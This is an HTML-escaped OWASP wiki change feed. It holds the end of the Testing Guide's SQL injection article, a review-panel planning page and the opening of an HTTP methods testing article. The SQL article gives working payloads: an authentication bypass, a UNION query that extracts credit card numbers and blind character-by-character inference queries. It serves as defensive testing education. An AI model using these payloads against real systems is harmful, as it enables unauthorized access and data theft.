&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that imposes the condition that the number of the returned tuple must be one. (One record returned)&lt;br /&gt;
In order to reach this goal, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuples that we expect to be returned. The value of the fields Username and Password regarding the previous example will be modified according the following:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
In this way we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Testing ===&lt;br /&gt;
Another test to carry out, involves the use of the UNION operation. Through such operation it is possible, in case of Sql Injection, to join a query, purposely forged from the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword '''ALL''' is necessary to get around the query that make use of keyword DISTINCT. &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
=== Blind Sql Injection Testing ===&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behavior happens in cases where the programmer has created a customed error page that does not reveal anything on the structure of the query or on the database. (Does not return a SQL error, it may just return a HTTP 500).&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?id=1' &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to understand when we have ended, we will use one characteristic of the SUBSTRING function and the CHAR_LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
&lt;br /&gt;
We will insert the following value for the field ''Id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.nextgenss.com/papers/advanced_sql_injection.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;SQL Injection&amp;quot; - http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett: &amp;quot;Blind SQL Injection&amp;quot; - http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blind Sql Injection&amp;quot; - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySql Blind Injection Bruteforcing, Reversing.org - [[http://www.reversing.org/node/view/11 sqlbftools]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniele Bellucci: MySql Injection Inference tool - [[http://sourceforge.net/projects/sqlmap SqlMap]]&amp;lt;br&amp;gt;&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - [[http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12807</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12807"/>
				<updated>2006-11-15T19:28:28Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 15th November, 16.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Antonio Parata,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt; Meucci'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry (articles have been edited)'''&lt;br /&gt;
0 of 7 articles to be reviewed &lt;br /&gt;
** 4.4 Authentication Testing (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Authentication-Testing-Index-Page.aspx Authentication Testing Index]&lt;br /&gt;
** 4.4.1 Default or guessable (dictionary) user account (80%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Default-or-Guessable-User-Account-Testing-AoC.aspx Default or guessable user account review]&lt;br /&gt;
** 4.4.2 Brute Force (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Brute-Force-Testing-AoC.aspx Brute Force review]&lt;br /&gt;
** 4.4.3 Bypassing authentication schema (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Bypassing-Authentication-Schema-AoC.aspx Bypass Authentication review]&lt;br /&gt;
** 4.4.4 Directory traversal/file include (100%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Directory-Traversal-Testing-AOC.aspx Directory Traversal Testing review]&lt;br /&gt;
** 4.4.5 Vulnerable remember password and pwd reset (90%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Vulnerable-Remember-Password-and-Pwd-Reset-AoC.aspx Vulnerable Reset Password review]&lt;br /&gt;
** 4.4.6 Logout and Browser Cache Management Testing (100%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Logout-and-Browser-Cache-Management-Testing-AoC.aspx Logout and Browser Cache Management Testing review]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
** 4.5 Session Management Testing (95%)&lt;br /&gt;
** 4.5.1 Analysis of the Session Management Schema (90%)&lt;br /&gt;
** 4.5.2 Cookie and Session token Manipulation (100%)&lt;br /&gt;
** 4.5.3 Exposed session variables (90%)&lt;br /&gt;
** 4.5.4 Session Riding (XSRF) (80%)&lt;br /&gt;
** 4.5.5 HTTP Exploit (0%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 articles reviewed (3 are at 0%)&lt;br /&gt;
** 4.6 Data Validation Testing : Reviewed by EK&lt;br /&gt;
** 4.6.1 Cross site scripting: Reviewed by EK (Reformatted it slightly with wiki tags). '''Not completed'''&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM. Reviewed by AP.&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Reviewed by EK&lt;br /&gt;
*** Not sure about &amp;quot;inferential&amp;quot; injection definition in &amp;quot;Description of Issue&amp;quot;&lt;br /&gt;
*** Added some reference to Oracle. Corrected English.&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) '''TD (not enough informations)'''&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. '''tools?'''&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.5 XML Injection (90%) Reviwed and updated by MM. Updated by AP. '''WP and tools?'''&lt;br /&gt;
** 4.6.6 SSI Injection (95%) Reviewed by MM &lt;br /&gt;
** 4.6.7 XPath Injection (80%) Reviewed by MM. '''Gray box section is to complete?'''&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)Reviewed by MM &lt;br /&gt;
** 4.6.9 Code Injection (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.10 OS Commanding (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%) Reviewed by MM. '''Note: these tests are not usual web app tests'''&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%) Reviewed by MM&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)Reviewed by MM&lt;br /&gt;
** 4.6.11.3 Format string (100%)Reviewed by MM&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) Reviewed by MM, whitepapers?&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing--&amp;gt; Revelli'''&lt;br /&gt;
8 of 8 articles Reviewed&lt;br /&gt;
** 4.7 Denial of Service Testing 100% Reviewed by Revelli&lt;br /&gt;
** 4.7.1 Locking Customer Accounts 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.2 Buffer Overflows 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.3 User Specified Object Allocation 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.4 User Input as a Loop Counter 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.5 Writing User Provided Data to Disk 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.6 Failure to Release Resources 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.7 Storing too Much Data in Session 100% Reviewd by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt; Matteo Meucci'''&lt;br /&gt;
6 of 6 articles reviewed&lt;br /&gt;
** 4.8 Web Services Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.1 XML Structural Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.2 XML content-level Testing (90%) Reviewed by Meucci&lt;br /&gt;
** 4.8.3 HTTP GET parameters/REST Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.4 Naughty SOAP attachments (95%) Reviewed by Meucci&lt;br /&gt;
** 4.8.5 Replay Testing (95%) Reviewed by Meucci. '''Need to add code examples, images and proof of impersonation'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
3 of 3 articles to be reviewed &lt;br /&gt;
** 4.9 AJAX Testing (70%)&lt;br /&gt;
** 4.9.1 Vulnerabilities (60%)&lt;br /&gt;
** 4.9.2 How to test (60%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt; Stefano Di Paola'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12805</id>
		<title>Test HTTP Methods (OTG-CONFIG-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&amp;diff=12805"/>
				<updated>2006-11-15T19:27:13Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible&amp;lt;br&amp;gt;&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC  2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:&lt;br /&gt;
&lt;br /&gt;
* HEAD&lt;br /&gt;
* GET&lt;br /&gt;
* POST&lt;br /&gt;
* PUT&lt;br /&gt;
* DELETE&lt;br /&gt;
* TRACE&lt;br /&gt;
* OPTIONS&lt;br /&gt;
* CONNECT&lt;br /&gt;
&lt;br /&gt;
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:&lt;br /&gt;
&lt;br /&gt;
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim server as a file repository&lt;br /&gt;
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack&lt;br /&gt;
* CONNECT: This method could allow a client to use the web server as a proxy&lt;br /&gt;
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and it is used mainly for debugging purposes. This method, apparently harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)&lt;br /&gt;
&lt;br /&gt;
If an application needs one or more of these methods, it is important to check that their use is properly limited to trusted users and safe conditions.&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Discover the Supported Methods''' &amp;lt;br&amp;gt;&lt;br /&gt;
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that “The OPTIONS method represents a request for information about the  communication options available on the request/response chain identified by the Request-URI”. &lt;br /&gt;
&lt;br /&gt;
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
icesurfer@nightblade ~ $ nc www.victim.com 80 &lt;br /&gt;
OPTIONS / HTTP/1.1&lt;br /&gt;
Host: www.victim.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: Microsoft-IIS/5.0&lt;br /&gt;
Date: Tue, 31 Oct 2006 08:00:29 GMT&lt;br /&gt;
Connection: close&lt;br /&gt;
Allow: GET, HEAD, POST, TRACE, OPTIONS&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
icesurfer@nightblade ~ $ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
